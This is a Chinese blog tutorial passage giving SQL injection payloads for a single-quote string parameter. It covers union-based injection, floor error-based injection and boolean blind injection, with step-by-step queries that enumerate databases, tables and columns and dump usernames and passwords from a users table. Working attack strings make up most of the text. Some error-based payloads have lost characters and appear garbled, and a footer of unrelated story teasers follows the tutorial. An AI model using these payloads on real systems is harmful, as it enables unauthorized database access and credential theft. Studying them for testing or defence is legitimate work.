二、 sql注入的类别特性及对应payload

注: 以下payload均基于单引号字符型注入。若是整型注入,需将单引号与后面的注释符(--+)都去掉;若是双引号注入,需将单引号改为双引号。

可联合查询注入

使用情景:页面有显示位。
优点:语句简单,快速。
缺点:条件苛刻。

原理:通过显示位,直接爆出所查信息。

1.判断当前数据表中有几列:
?id=1' order by 数值 --+
2.查看显示位在第几列(这里假设共有3列):
?id=-1' union select 1,2,3 --+
3.显示当前数据库(假设显示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查询当前数据库的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查询所有数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查询某个数据库中的表 (此例为 db1 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查询某个表中的字段内容(此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

报错型注入(常存在 部署于开发环境的)

使用情景:服务器开着,有mysql_error()的报错信息,但是没有显示位。
优点:没显示位也可用,快速。
缺点:语句复杂。

原理:根据详细的报错信息。可以查看到数据库中的所有内容。

floor 类型
固定格式:(星号位置替换为查询语句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆数据库:
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。
2.爆表名(此例为message数据库):
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
4.爆内容(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+

布尔类型注入sql盲注

优点:通用性强,可以没有显示位,可以没有报错信息
缺点:慢。

原理:根据返回页面是否正常,判断值的范围,通过二分法最终确定具体的值

使用到的函数:
exists() 查询至少返回一条数据
返回:true or false
ascii() 返回一个字符串最左边ascii码的值
substr() 三个参数,一:字符串,二:开始位置,三:长度 mysql中开始位置从1开始。
length() 计算长度函数

payload:
1.查询所有数据库

  1. 查询数据库个数:
    ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
    77为随意输入数字,可通过二分法确定最终值。下同。
  2. 查询某一个数据库的长度:
    ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
    3)查看某个数据库名:
    ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
    通过改变limit与substr的值,依次查看每一个字符

2.查询某个数据库的所有表
1)查询表的个数 (此例为message数据库中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某个表名的长度(此例为message数据库中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某个表名(此例为message数据库中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

3.查询某个表中的所有字段
1)表中字段的个数(此例中为message数据库中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某个字段名的长度(此例中为message数据库中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某个字段名(此例中为message数据库中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

4.查看内容
1)查看表中的行数(此例中为message数据库中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某个字段对应内容的长度(此例中为message数据库中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某个字段名对应内容(此例中为message数据库中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,561评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,218评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,162评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,470评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,550评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,806评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,951评论 3 407
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,712评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,166评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,510评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,643评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,306评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,930评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,745评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,983评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,351评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,509评论 2 348

推荐阅读更多精彩内容